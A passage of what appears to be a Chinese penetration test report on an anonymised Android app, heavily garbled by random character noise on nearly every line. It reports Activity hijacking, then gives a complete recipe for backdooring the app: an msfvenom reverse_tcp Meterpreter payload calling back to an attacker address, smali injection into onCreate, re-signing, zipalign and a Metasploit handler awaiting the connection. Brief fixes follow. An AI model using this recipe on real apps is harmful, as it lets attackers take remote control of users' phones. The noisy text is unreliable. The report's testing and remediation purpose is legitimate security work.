9 M- p" _6 N9 d# T8 H9 i6 O3 \3 O$ F. X7 v' Q4 k
N, n9 o, q5 o
4 P2 ^) [7 e& M' z! n 表1-2 测试结果 3 }! N: y; l! v s
. n" j. o7 F, Z. w3 H6 r0 T# S
/ a7 I' S N5 Y8 \1 a) z; [% G, z
! p. \5 O& [0 h/ F $ g3 |; d: O# x( x3 e! p. H
1 n1 y+ C. _9 X7 v
# U. C h9 x5 @2 j5 Z; M. j" I) X* Z6 c
: l) ~ x" l7 H
, p3 X+ n( ~8 t' d $ m2 Z) w. A3 T- q9 s2 z3 D5 J
. O- r' r0 h% D P( j# \8 C8 K
2 检测结果
4 }5 u( d( Q3 n: z+ e5 o+ v
; h8 |) v# N# g0 G- b# N5 l( { K$ Q5 {
+ r, @4 L- Q6 u, U( U
$ y0 |& Q) q$ W/ q1 r5 b
7 p0 A W1 ^& ^7 N
5 L: X( R# M% x
2.1 某某某 ' q9 T n, Y: y, @
, q* g+ E& [. l0 C. Z: V
+ y! `1 s; X; @2 I& I
% n' ?1 _' O; q( V( v* d& t4 q
/ w. A8 Y; o9 A( g. f, ]
7 ]4 P% }3 p1 s) n0 z% |5 ? 2.1.1检测目标
) d3 O6 {+ P! z5 \( `; S! `6 b c2 e- R: J1 H8 V. u! G5 i. u
9 _6 W4 N* M9 V7 h& I8 x! W% u, U/ N
- A; @% x3 h8 H+ F0 ?9 Z' l- U
& k: s, Y D C1 T: _& X& }
目标地址: 某某某某某某APP
0 ~! w1 _; Q3 f3 l3 H* N2 j% P& k$ O/ o( V
% j7 z# U. l8 g, B p+ Z0 w w* Z/ z+ u5 K# |' ? N4 s; n/ R3 C
3 V, }$ W; X& L! p6 j- M: `7 [( q- t& J' R4 U) O
2.1.2检测结果
& V( W2 @* R3 t1 X2 c, o7 Z; w x
" m; f& A- J' G$ f' N
/ x2 f" K% j1 a, j! ^) x
; W$ @2 ?0 U$ t9 k( I( J
+ j. m% X- v& \' B6 @. S& o
% d: @2 @( G- r% e) V3 |5 P 2.1.2.1 9 P. s' ^# ?. X6 X7 F) f& V1 H
! t* s) O# ]( ^* o
/ s- m. f8 p% h, Z& R( \5 Q# J1 D6 C1 Q% c8 E# t
; p8 E" g6 H5 X; b. n
* _$ ~. {) H- F/ Z; `7 D" {
漏洞链接地址:某某某某某某APP % L8 f. w0 N4 _; T" `
7 U$ p) v+ M( Q' W: E
w* x/ k2 n: B" f% C
& @3 ~; h0 M, U: S$ W
2 N7 o! d, \: D% {0 m
, L: e$ o; \4 f$ E) `
) ?2 X1 k: b+ e0 ]% d) V" r7 }; a
T+ v8 ^0 p9 G4 m* g( q
# [0 [7 z! v/ u' |) `
/ O6 V# w/ K6 |/ L* B
7 a. O8 d! ?8 m! e+ ` r7 B
! _/ G; Q1 V" n
漏洞分析及取证: # b# D$ u% D* M& u7 {1 s5 o$ D
3 k) ~# B0 Y1 t2 q; E
w4 d8 @. a8 e6 [# W# J
. O/ V' b! S5 ?2 G4 m) U) v& z2 G . }8 T8 \( `" L( d
% x* u4 x/ B% a t) \: D; P8 G' Y
通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: * \4 K, x$ @3 E" a; n
4 g: E. i" i2 p/ m& j3 O1 Y/ o
4 y1 Q& X% b" s4 w4 e" U* j6 T2 s
) t$ G* }# r. e0 p
* r# o! F" T" d; b2 z- D/ W f- |4 d! R8 ]& q7 u: o
. X4 W# Z8 `. K( W: t2 r
; ]5 H" N; @# y6 v3 x: K
8 A- @$ P" Q. U( X7 x; f
/ h% v- m* w2 }0 k ; ~3 d: h) o5 ^, f' ^! z! x6 u
, y+ S- U5 _- n' U/ Z0 | ( t* O5 x, C& ]4 s8 [
% l0 j' q5 ^, `/ ?' B ]/ f
% d( J* }/ ]8 `# V( b
+ I5 _# a8 o; E$ O1 |: J& x
/ h" [- L& v9 X8 j% u+ A( p8 `2 ]8 M o& X) z' O5 r
0 P( O( ~+ R( y$ h# y, m: _8 R
' i5 P0 k/ H8 w4 J/ S- I, h, s
; h: D3 o( K" |! j+ J
( W2 q. G, I5 t/ i0 b
* ~1 Z7 }" A6 `9 U6 Z$ s: @6 M
7 T$ t' j& {; e) ?1 D1 x6 C6 [
0 f: D( ~$ t" S: A) g( \/ R0 L* }( L, u. |* W
; z4 S' Y& [# s0 h' A
. s/ s! E/ s) H4 L% V" Z, A) w2 _
% c% w( w" X8 y/ D" \- e
! T3 F K/ G L
, \0 }1 z- c8 h8 C+ ^, a! J0 `( ~; _$ u# W! x1 K7 g) j4 l" x
8 a$ \, V$ U" G8 u
5 w/ \6 S& v# C
# C) n* K. Y) ?6 S" A! Y* t
1 A6 [4 G( ]8 T- q! f( H: M" d. b 漏洞危害:高 , Q, ~. y- y, n5 L* r' B
4 Y$ a, f9 ~; V5 {2 n; n- C6 @2 H
7 ^* ~2 U/ f' a$ O& z+ O
% e: g+ i% h7 L+ Q3 k) B( t
' p( e/ n( \: z' u3 n' Z) ^0 W4 ?7 F. E, u6 }( Y0 Y4 S
$ z, d9 L. w: C( S; T
' Z( Y- k2 _) z! W' M
. h1 j2 Q8 ^5 P D+ d+ c" C& m6 a6 ~( O* i/ T0 ]0 X
, j7 ?( c( a/ \& ~5 Q& P5 a
5 ]* d" L6 ^* e4 Z5 j. A* } | : l. @3 _6 c) T
, G* l! f! C! z1 X* L' v
7 B! P6 z7 T1 H$ d, o7 \* p" w% p# n. l7 G# _% m
严重程度
/ o: J9 u# S3 u8 X0 T V7 z* o8 o: p0 @1 `- V0 T5 V
" ?8 U9 {$ |& ^+ h6 P5 G* K
% V6 G0 d8 k0 h. k
| 2 I6 L" w- { |8 _& l }
- m) J6 S$ B, |+ k
0 `/ W3 Y: `+ F: m
" j9 P3 s, W! \ ) J- h8 C4 z: K! n! E
, N# }4 o7 v0 ^ L- S' S, _
高 8 R/ ^) A3 ^0 Y6 e5 ]: u7 g
) B2 l3 d% w( M0 w8 j6 q
& l/ p* A! e/ y
: _1 \& k% K1 z3 X2 \
| 2 w' Y& U. d6 C) T8 Z
A2 ~' `. O% Y: Z3 n2 o; n V) P
: H5 l- h W4 X: G) S O/ |& |
) U* ~5 z, l r; D ! ^1 Z2 V0 h; w) g
! k0 Y' g9 s; B" S' o" g9 c0 T
■ 8 w/ { N& x4 O) R' x+ f
; B" X/ ? r) I" O; ?5 I
3 Z+ }5 U* \+ [7 c
' _2 `9 R% O* }2 u9 |
| 8 A- B3 w. r+ S' _ r/ ]
! n( m7 N1 ? @: S- S/ C
" E# }2 _+ B3 H5 W3 _+ f0 ], l* F2 Q
+ |3 `1 f1 W4 n( W/ f& D
. v/ K& i; ?3 _, V: ~
中 % ? z9 w8 [( [( F/ c
7 j: @: \- V5 c m* w: i' n
8 B9 ?3 J9 \( }1 n9 g0 }+ P) @
% X5 @1 x* ~- Y+ W) O$ J |
( H! ?/ w3 E) g5 n6 G7 M9 v7 X* n' c- j0 j" g# f% e
/ ^0 d5 Z4 I# m
* Q, A0 W' h$ C6 r% Y
1 ^* u( c# m; ]' r7 h
/ s6 a4 K% U6 \ ; |& s) Q; R. Y( D3 b3 r
( e7 f5 X# x3 P6 O n5 q
2 l9 C1 E( x+ W8 t$ i7 `7 [7 D" r
$ d6 S$ P! j6 R% c* W5 x# Y( X- ? |
i% u5 E |) r P! Y" J& M+ O" P2 d1 x
) _( y9 a1 t5 J- ^1 I/ [9 G9 L3 ?, E% b% { Q/ ?% P
0 T4 l! t: L. ~6 N& C) Q' m0 j! ~
5 g( f J! @6 Q, Y) ` 低 1 _7 y' X& ]* a6 C8 g% w
- o# ^% d$ V. @: [. D) h, e+ c * T% C1 h7 l# z: k8 t
$ E# B' K. ?) l! Y5 H | # _4 m5 I! ~0 Z1 J8 ~ X( {2 C% E) t! v
$ b) J: }. F; E$ s# R2 V" n
: L9 }) A6 C8 f4 b0 ^. }- y: J6 r& K, e7 {& F+ i" ^+ M2 P
: y' p* E& n7 T+ Q9 G
/ j3 t$ P1 |2 _ b: m1 {
3 x. X, c/ w9 E7 S0 c Z
+ l2 A; D7 p/ g
/ l2 m6 S9 F3 O l7 D: {' |" s6 P% B& s q
| / s2 g9 d1 q" R, b5 G3 j
8 R; A$ n- W0 _: w6 E( R6 r
* Y: W1 Q' s2 }/ g
5 o4 D. H+ G& Y( a0 N, t
! g: J0 R! g" {; U, ]* @9 u1 K) @& |& [ Y, k% S/ ~
) t8 f$ v( O/ k7 B9 q y, E% n/ @4 P
/ Y; E! N( Q5 m' s6 x! C& h
* p1 E6 l# C M, F+ u( t9 \
, g3 Y5 X9 c0 b0 D2 B
: l7 s! }) p8 @& i$ E
! ?0 @2 y3 d4 o) v% i* m
& Y+ S- z- X$ H$ t% w( \, A. S; w$ K' g% u3 ^- P; ~8 g! |
' [/ ~! G- H8 G5 v0 o! N
1 [0 i4 |# N4 X5 x$ p. c$ ` 3 R# g& F6 x2 p8 ^0 \
* y# l4 Y. Z7 c( S) {. r. C 修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。
( m, x1 z6 |9 Q) w- r$ v
9 _3 \4 s$ b3 i; F* r( Z) a: I
; e3 z$ S) x/ \6 G1 S& W
2 o8 r# X: ^* {2 |' q. m0 r
0 c# r5 t/ }+ |' S* `; E
2 Q* s# a1 j: |! `2 X7 a 4 x c0 ^% t% n3 V% g, j
s6 d9 [7 i- H7 L% Q
- a, O Q8 s6 h: d
5 y) s+ M' a6 q0 h$ @% A1 C" X 5 q; m& z j2 L6 h1 F' X. F w5 ~
! Z$ z$ W: I0 Z) S9 a. M9 D z% @' K, x \! j. F& N& O& N2 z/ P# O$ d
* W) Z+ ? o" L
3 i2 E* l. Y) ?$ @' A
; H) b, e6 n2 B$ \$ ] $ o8 Z0 O; T3 {5 u* U( Z% K
; R2 v1 P, O& P( D/ L
2.1.2.2
, @# `# r; T* X3 @' A2 U B* l3 [5 S8 y$ p: a% v3 b, B$ V
2 S* F0 i% N2 }' P2 _# y9 M" c
$ p$ M" @* y z1 n1 k8 E4 H 1 _, P% J! A: b2 g5 X- n' }% w6 b
# h# p7 B7 l, |+ W- t1 V/ b$ [& Y4 D
漏洞链接地址:某某某某某某APP
, F/ T" }- @' ?/ X2 k# ^- c2 }* b% ]. U/ y3 o5 ~
( u2 F$ X# F7 h4 s: _, W8 j/ T
, c9 P) o) ^: y$ ~ s
1 D% |2 X H, R5 a5 Q; E, `7 y' ^
漏洞分析及取证:
' L2 F+ s2 t# @; \* ]4 B2 r) U$ P9 [+ w( r
2 T+ s, P; D1 }& f: \: P/ s
) `/ u. t9 N/ S; J+ Z
/ D {' e- D, P1 r3 o/ ^% d& T& I. i6 q$ N
通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: # [ ?7 e. X; s' s
8 i' U: q4 e% }! i( m q+ d
; D, B! u) Y- b& d) v5 R# o; F3 S
# k% f+ G3 r. G4 d- t5 F; H
& f/ J ?4 F( ~$ D' ^$ L% M# W: N$ B" H! N! M6 m
用Metasploit 生成木马 apk ' p4 z+ T4 k# k" }$ |2 e% |: W
: |8 F9 Y. o- [% U) m6 o8 _
+ h, e# n* d( q3 `
3 I* Q5 g( U7 e; A; C
8 ]7 Y% \2 K( N* I" n' w
4 q6 [& x i: m0 t5 t7 P msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk 7 W% p/ J! u8 H+ E) j/ r6 ?6 z
$ t4 l5 H! ~0 J
( Y8 e9 y3 k M9 o1 _( ]& m! O4 U, Y7 u7 M' n
0 _! h* H. n; B/ o* m7 q
+ Z# I* ^/ z" x 反编译目标apk和木马apk
' c) w! x& _$ `" ?$ @+ M1 D0 u2 t& s: i
6 E7 {/ E1 [9 I1 c% @/ V
- j: d* l1 [6 M5 K) n
7 i& r5 H" ~8 G% W( T
4 q; ^: q* E6 D% f
) M1 {7 o' F) l' A apktool d target.apk
W0 c* ]" `6 w- b/ Y. r" D; l" s$ w0 D: |
apktool d cockhorse.apk 4 i p$ U, ~, l4 r9 _+ ~4 n
. Q4 v# g7 N' ^' J
0 l: k8 a9 \+ r
! s z; c' Y& T5 y j( r ; k3 B2 @& O9 G& f2 L6 |' F
% E6 E2 W4 K5 U! j6 _
木马 apk 注入目标 apk
$ H$ F3 ?8 X* b1 K# l; e& q' R
0 [2 c: W5 f/ S @; ], L
7 @9 L& k, O. V% y" C
/ O7 C% T; g/ j6 t
3 ?0 {" F9 e; S: i5 @( U: t1 e# D3 Z: U6 g2 v2 K) X. O
在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
# l0 K; f1 ~2 e" ~: b: I z
5 L7 @( {# J& h invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
- q" m" f! p- O% \! _# u
; D% @: D& g+ O; N
6 |, o! `1 [* C; S5 l6 f" F/ c1 j0 N
; K: P7 U o7 D) m
+ k. Z: T1 E) d
) H( b0 ]% L+ @+ M h$ ~. U5 a* g9 S: ~ 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复
3 G O0 h+ L) C+ N; E/ x0 x" s
; i, _% M1 U) V0 ]- M2 ^
& w) j2 a5 Y7 S
1 [, Y# N1 [1 ^9 Y
2 V. t- f( \" _4 f& t# ^0 A6 D" s5 j2 P
将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 # s: ?+ s$ d$ S
+ m- y. E4 j5 N' z: r
+ |9 q9 m5 ~1 `- n9 G
$ d* U( o8 R% O. t* Y # ]- k# j; p' p- R4 {
' e0 K& L# v/ N v- I
回编译生成最终 apk
, N1 v9 Q$ U3 h8 u/ f& y5 W6 L1 i( j0 z
( t u( r, E1 G
% ?$ E1 q8 t8 }% I
8 B9 L% R! ]3 {7 L
4 I4 M3 H8 j' u) l% j, q1 \% c
$ q9 R6 ~3 l) V( b 重新打包 ) r& J: M0 T8 e1 d; |
4 ^$ g3 n$ P& G N0 r$ v- ~- g7 S; H
+ H( S/ F2 [8 L
x: A, H- S; W+ ] . V# x) Y3 j R. s4 X; X: a2 D* v
% t* I+ B0 S) Z8 @, o, o& N apktool b -o repackage.apk target_app_floder " y# k, D1 Y; k) b9 P6 O
( Z" @" q$ L7 M$ n2 h& A4 w% o
7 B/ f' n) p& A) ?9 h5 R
$ k1 W. l8 m9 g
7 p# }1 m, X! D. }% c: U3 s
2 L6 E, b! m9 R! ~% N1 k 创建签名文件,有的话可忽略此步骤 2 q1 k0 Q# T7 X- C
/ \$ x. L8 ]7 |6 y" i: H8 x
" j7 t! X: ]/ R4 H) t" [$ ]: z& j
5 B. H6 |2 G& b, J: T
7 J/ \4 [ n1 Z" p keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000 4 W7 c; n& m6 e- b$ K% O4 l
; U: J. d- u- L9 J, y* @8 n# R+ {/ M
" R) u7 u+ ]! s5 b% U: N' t( }5 @4 U
# ^6 M8 U7 O0 \
& D3 V1 t, C9 M5 [% N 签名,以下任选其一 3 e/ g0 L C( U# T5 }0 T
7 q9 R+ h# V: v! X
$ [. d8 _; \! D; v/ K( F
, h- ~" h1 ` f, Y. s8 R/ B
t3 l. ]' E" h" }3 N _
1 c7 l$ q+ ^* @# k# `5 O: V jarsigner 方式
+ X. f7 L$ @# a' X; B2 [) i1 f% E9 x0 _/ u6 D A( }# @" I) {* a
5 @# ~% W5 A% J/ _. L8 O3 D! L6 F
4 ^+ S7 O# r. b: G
$ R6 s' R2 H% s% |* w( t- g/ y jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname 3 z6 q" p* y; p# k
) H; Y% d8 @6 }7 s: H$ j
6 l+ \, |! N z- i" X( l
# c, W, V5 u% p5 A1 \7 Y3 ]7 B% y ' {3 [% B, g- N& a2 U3 a- B
( E7 j5 @! r5 s1 j) B5 q apksigner 方式 2 m5 b+ q" q6 t0 E: F! L7 v
6 G2 n0 M2 D. A. j- M
. ?9 G* i1 G% o
# S; X% ]- l5 |
y% i6 B9 F1 G/ r" X
I; u$ }: {* r( C& ~' w8 i
apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk
3 y8 W, D9 {- y
7 t, g; ` ?; S( v+ V; w/ f% _
' P7 A' U$ u( |4 k
0 c: Z, ~$ w- U6 c1 |
( ^$ p- H+ l) F) M( x7 d9 g& W
$ x8 m6 m6 O' `8 i1 M8 y* M 如需要禁用 v2签名 添加选项--v2-signing-enabled false . C/ j6 X& }/ {) Z7 V$ K: P
5 H3 N: A0 P" n2 e h
( K% d& x/ H/ t" [; Q) b3 T. A* h8 Z- W9 i
! D( `" G; Y6 ?! O0 l$ g
" i( M' p# k( w& o$ W( B( u' K# }
验证,以下任选其一 $ |3 L" n& Z" C) Q, N+ p& {
- d3 D" A- p9 @) [
3 U ~9 |8 Y2 x8 l( Q" g
; r- z/ }, h2 j& ?7 N" |
0 W- ]/ @8 _* s$ m# U
: D5 U2 f7 H: V, G' F) ]" K
jarsigner方式
- w1 i0 P+ q9 M! {0 o2 |6 e3 L) Z/ `& G5 [2 W( z1 z- i
8 D. u4 s3 ?+ g2 o" U. l
2 `9 A; F% T* n2 u+ _/ ]6 ?% y
6 A# Q+ Q, w4 ^9 Z$ e* H( V
; z% p" S! u/ p0 m. p' `% F jarsigner -verify repackaged.apk
0 ?4 i. C: X ~ W& ~8 R4 k
3 z5 v# i- t6 m1 A% I. M
+ E/ D& M: w- w9 c' ]; R
4 f) f: R6 [7 ?8 b
( T0 O. {& F. R/ C1 K/ t0 P _0 M8 S2 y9 ^
apksigner 方式
! _! G5 y: Y" w
5 s* v1 ~2 p, i! G9 L! }
" n6 j5 {% g7 ^- e/ M3 P
J; I2 }4 o: n, f* y
, J- h3 ^8 n4 j) l$ ` S# f* R7 _( x( d7 ]0 |- J
apksigner verify -v --print-certs repackaged.apk , d) E* o" }1 v
- ]3 J- N* z4 e. x' @) i9 M$ I
. [& {4 i" I6 z# O2 C
8 }9 P3 [7 l- E" B) A! g
5 ] C6 s# W7 o! `6 e
3 v* e& Z/ \1 c# C6 P3 C: F+ z keytool方式
8 j2 W) N- e# ~% v# T6 l0 | \, O9 Z( C2 M+ G% k) V2 i, Y
M O$ R g/ i B+ V, P% g: q; N/ O2 o: N
& z5 B+ W$ t, q$ M( D& Z! G% a+ _6 _; n0 ~9 J( O# T
keytool -printcert -jarfile repackaged.apk
! R0 z$ P' F$ }8 g& r$ B+ j1 |$ V- G: F9 G+ T z
" M* T( S9 M- x2 u
( Z$ W. F! i% f
* t( s: }) K' r; ~0 ]1 i- s v* j! F
. }4 Z, o3 Q4 D# ] 对齐 / E% R3 {! a& X" g0 X: T& J
, [ r- T$ Q* r- }; F# F$ z
; v' Z7 M6 F* F, c; ?9 u& `
7 ]& T; k! \/ p1 o, M' p
* Y8 K z1 _6 y) L* |+ X$ p7 |) }' [; R; W
字节对齐优化
8 ]! Z; H& m. V8 i
- c$ C& r' i" c7 Q' n2 }6 n8 a
8 m# i) H7 s2 h
) e* D, C' ~2 |3 N) M
Y1 F) z7 ?6 C* |
6 C1 _ J, M" ^% v9 }" G$ B, N zipalign -v 4 repackaged.apk final.apk : B, ^, ^/ G+ U, t
8 V& a) N4 U! a. l% s0 S7 p9 \, {
) F- k+ I9 ?% T
O: C" w& N& G8 C7 @
H: ^8 K/ W. ]9 ]' c) S% q
4 y4 a" J+ k9 \4 ~ 检查是否对齐
9 u; P$ ?) M* E7 T$ R# x2 j. u7 C$ V5 n6 w# @8 T+ ~) x* }/ q
5 O# }$ a; C/ n: v
' \0 i- R+ m& m- X1 I% k2 K
# q# d1 a. f3 h& U2 M3 T }9 o8 b7 c! O8 x6 G# ]
zipalign -c -v 4 final.apk . k7 E; a' T$ u7 ]. A H9 U
0 `7 x& d9 ~/ l2 `/ i
/ o- N: O9 R, E) e2 K% B. ?
( Z* F/ m8 A6 n1 l2 Y
* a/ y. \7 T, F Q8 k3 j) i
3 A( e; u: Y+ ^( [, _ 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 - j) Z% _ `* e( v& j, q
6 d3 W0 c8 D3 Y+ J% }
2 D7 `( N0 I T3 g4 o( V. Z
0 w/ c: ~# P) W6 Q& X
/ c* x$ |9 e, l) H; w( h" L
8 D# ]! r9 h, r2 y
启动Metasploit控制台,配置参数等待上线 4 [6 C7 M9 j+ V. [& ?: t1 y
+ x- C! E/ y7 T( e
$ ]! S2 B, j! Z# A1 `- l5 b
. X7 w# ]# o# ]
9 |9 n2 P" M1 s* K1 r, [3 C
) k( |4 B3 e; u 在终端依次输入如下命令
9 d, R5 ~* ?, @8 o! r
) V, e$ `- [8 M; |# D1 } }
' V( d) |' R4 h/ H
1 G) m" V2 a' \$ t , B2 \5 m: r4 |, h) U
7 ^+ t. ]+ D6 _( ?' ?" j: c; H0 F
msfconsole
/ }3 k; K' t5 x. D5 j6 b, Z* v7 z+ j E- ?6 ^7 K
* t* v) |$ J/ ~0 Z$ R; P* z4 I
$ r* m, p% I. e
. W: M. {7 \0 }8 J; s! t5 P
6 @: j" H `( R# a
use exploit/multi/handler
1 d7 q/ v3 L1 i7 }# B$ p
; Z& \! k5 U% w9 G O4 \
1 o$ ?1 i% l5 \( i7 U
- P8 H- Q1 D+ I8 F2 \/ j5 E. M4 s
( @4 e$ q! i) B1 D
1 N8 T: h3 ?. u0 V5 n6 F; J set PAYLOAD android/meterpreter/reverse_tcp - W, Q! N. B# G
) y+ Y2 ^5 {8 G
. B+ Q: d5 A2 h, d) q: y
5 g @2 c6 ?# V- b) s- R
% \! W3 p0 U) `" f4 k6 L, d, ], I) _: W8 ~. f8 ]
set LHOST 192.xxx.xx.xx
$ c* G6 T+ H) N r% o0 A+ j$ |7 w# [% o& l8 s5 y& b" A8 p
5 _& {) Z- |2 V; V) e' _( d- _3 |2 ]8 B2 O# N' c3 l
. S# B- a8 L i; ]. l: p: P1 ], A: e7 a
* d) `* ?6 \" b7 ^: N set LPORT 4444 5 y+ t! `* r2 M* _& D2 Q
3 F2 ]9 R* r8 U% `, U/ G
% D" b( |' E4 t8 U
* M, v* @6 D; Z# N
2 K: D3 l$ I2 R% J* a& D6 Z/ J- s9 N( P# |: Z2 |
exploit
# I- q W, \9 E# J) ^
/ a- K' N% Z6 K* t2 J4 e" L
5 C# v- U! y+ I" A* _) r$ H+ U2 Q; W
. a ~8 U& n8 g2 z* ~
% `5 Y3 J+ s' w: ?. U# s/ f8 Y: d
# A e8 w3 R" N4 F; M+ h. t* N5 o- O 之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
% G7 n% f2 [: [( y
# o' N- j+ I: R' [, N: q
; a0 m) ?: Q4 }4 E/ b
/ u, P) S" |4 r7 f 0 M( Z' y1 E( X) N
* l* X$ o- [* |& a- Q! d% [9 ` e+ r
漏洞危害:中
, z/ m% y2 q, j$ |6 I% F5 I: A# e, u5 u O9 E% G2 @) Z9 i& C" k8 q
# t, l1 o6 @! a4 j! A( m, |2 p J& T% X. |# P( y I, J
9 `8 q4 }( i$ S
0 I' ?2 B4 A6 K2 l7 A4 G. y9 n$ o9 E
8 ]$ Q) d$ u9 n/ S1 X$ }0 T" M( N7 G; r7 ?- Q+ z0 d' |) Z
5 o3 q% N6 T3 b+ s9 f6 C4 y# P
6 W0 i2 K+ N2 Y4 v * ^2 T0 h+ l V" r- D
$ G- m/ Z) `" e4 A0 F2 I
) G6 c- ?' y) U2 ]; w+ U! L
& j. e0 _% W0 O! _/ H5 I) O
|
( e: @6 f5 r/ i- R' [. X
' d! x4 \" _3 x: }/ U! l, Y. X ; |% K) d9 f; w: ?. X* y1 i
! }0 j/ @4 }5 ?& q) h
严重程度 ! v @& c' U1 R6 a% t) q5 D1 s2 z
; d0 H& Y s/ [3 N
; ?" x9 H2 v4 ^& r
) A( Y8 G; `1 C( a: x% d- G& m% M
|
* Z$ ]8 A+ c% ~$ h! p; U2 w+ V- j- N- {# w
0 @+ u' Y ?$ x* H8 s. `9 D1 z, t+ d
- H! `2 R1 y% m) `
: C* F- p! R4 b2 p0 T) Q8 w. f9 W! R8 \) a. K
高
, p' [% Z2 ]# m' u1 {9 s; p/ C2 E& w8 b+ ~0 F; w8 P" ?, q
4 V. {; s+ ?" y8 J! g4 Y9 K* p) v7 ?
|
$ u2 H# p3 e2 ]- P# ^) I+ [/ l' {% |2 q1 ~; r p
; R. p% [& @8 _( D1 l
2 [+ k) p" E( F % j& F k8 w# A& Q* y5 ~
' y8 {: e6 W3 v( X" t" _ ■
* r+ b1 N: P/ u9 C6 C" n: m. v& r9 V6 D
7 j( v1 k7 \) M4 C
# w; r! _2 A2 N' d! G |
5 Q k; V9 j% O6 s# A6 r( W0 i0 s
2 j( [7 s* Z2 E2 U , t* v& |- `! n% p
4 w4 {2 {" l$ n9 _8 K! e @ + G; F4 Y8 H& c, U
- m* m0 g9 @! e- U. K- I( L
中
0 P6 U( Y4 L3 @4 n0 t% k; @# E2 X- @/ w2 x2 t3 c) F
( q# }; x3 U; @5 A. Q
, v- m! D5 \2 N B) t/ N. Y |
P/ L3 Z$ J% [! t/ W
. t. [6 G- r" l9 d8 H: x
) Y. a8 y) g) ^: c# @* U( g$ ?3 l9 X6 S
& ]1 S& W' Q4 `) {7 {8 ^2 h
/ N4 P* s! x# l6 p
0 m' C0 u! E) H& d2 [& f+ r% y; E7 b
- M1 A/ ^9 E. [5 m( W( B0 ] 3 J( y0 i/ ^- o! T" @0 L4 k
+ U* O6 S4 p: i" G: ]9 y: a+ @
b$ A2 S ~* `# M" k
6 N0 y) i, B7 C3 M, P' y' Y' w |
& l2 l" i# A: y8 w
$ Q) E# b7 R7 n k! w 9 P3 e8 i1 v6 o; l; l( X
8 b5 o; u* z5 ]$ R" |9 ]0 g ; i$ l% [1 F) W7 z
5 o% y. [% f7 c: D5 c 低 . o/ F! E; z0 t0 A
: `# [: [- P% \2 q
# V/ h$ P( i# Y1 N/ W
2 I. Q; K# W: s5 O |
7 E, o P$ c9 C7 D$ C( O; ~* W7 {% g( H/ K" e/ \/ D+ R+ o
7 a5 Q+ x$ s# i; G; u; }) ?
1 k+ u3 T3 _% U) I( S
8 j4 j# H5 k) R5 R* \. t7 ^- Z7 @7 c- N. Y2 e& O/ k
6 G; Y+ Y# p9 u; D, q- d$ D! m, ?$ c9 C! G& H H2 K& z
" l3 L$ c) z& F0 E9 t) Z; L) X' c7 m9 ]6 |1 C9 W
2 L2 _& T' J7 G6 [4 J
! T2 m! K* C+ w+ a1 q9 i3 `
| " U8 J5 q9 C# h+ b
1 B) @$ o/ q# \
2 ~. g2 H9 l1 g- e$ I; O( c' V/ Q! k
4 S1 x. g6 |. P% u- R2 j
) m0 Y1 e8 M+ l7 `0 V
& \$ t K6 |8 N! R& X' u
) s- t4 p) [4 y* c; ~# e/ h' e; j+ e B4 L, i/ p$ W. J' ^
3 s( {" P) j$ G) }7 A3 _+ Q# j. J8 H
" _' A3 c8 `% c4 i* m M- E
L' N a' S1 J2 K' u) }/ F& ~. g- i0 _# M% T
: b; n6 i; ?" ^" S$ [8 l
" `4 s% J9 f0 R% f
5 @! U& O8 `# a4 N$ s. J$ p2 S& e/ U o# Z* N
; }) n( I4 p. ` K0 S+ Q* H
0 e8 m/ B; N6 E 修复方法:
6 s" j" s) W$ ^
/ s* p9 A+ Q) X# x% a# i( {. p
0 Q" W4 E! A! J; d0 V' j8 f
2 B6 E* H* b2 Z1 K/ ?. t
3 E1 {: K( p* C9 u( f* }2 R
/ `' L& g0 B! w2 g! H8 f
1.在 APP 启动时应做签名校验防止二次打包。
' g, _( ^! g/ n! w0 C( v# M8 x
$ N6 ~" l' C# R
2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 % m; A7 {! @7 w/ m
3 H6 w; ]# H# y9 ?3 W7 t
' i8 x) ^" M7 A) s3 a7 |- @* q
+ g# m7 g( v$ l/ Z& v% W/ H# |0 q
/ \! s M* l: ]4 C3 a- E7 p T& X7 W1 N) J3 x1 y
4 i5 \( C! l5 u- a9 `, ?+ S- }8 D/ x
! X$ _" y4 E$ v8 s; j
/ r) u; {9 V' P+ N, ^; O. \$ t3 g6 @1 c! I/ l
3 I. ^0 d2 q. x9 x! L. t3 y% V$ r
3 g' g) X. Z8 r* i $ X9 u- K+ ~2 y. ], |
4 p6 a I$ r+ A1 a4 A: E7 u
5 w( O: t/ l! ^, m! t
s! J; L5 m5 b
7 [/ i# G, m/ A6 G. _- ?1 ^. e* a* P1 V1 p% h' Q, R E. w
/ Z8 J% f/ b4 M4 W# n" }
, Y( i' e- R7 Z( [- ~4 k" `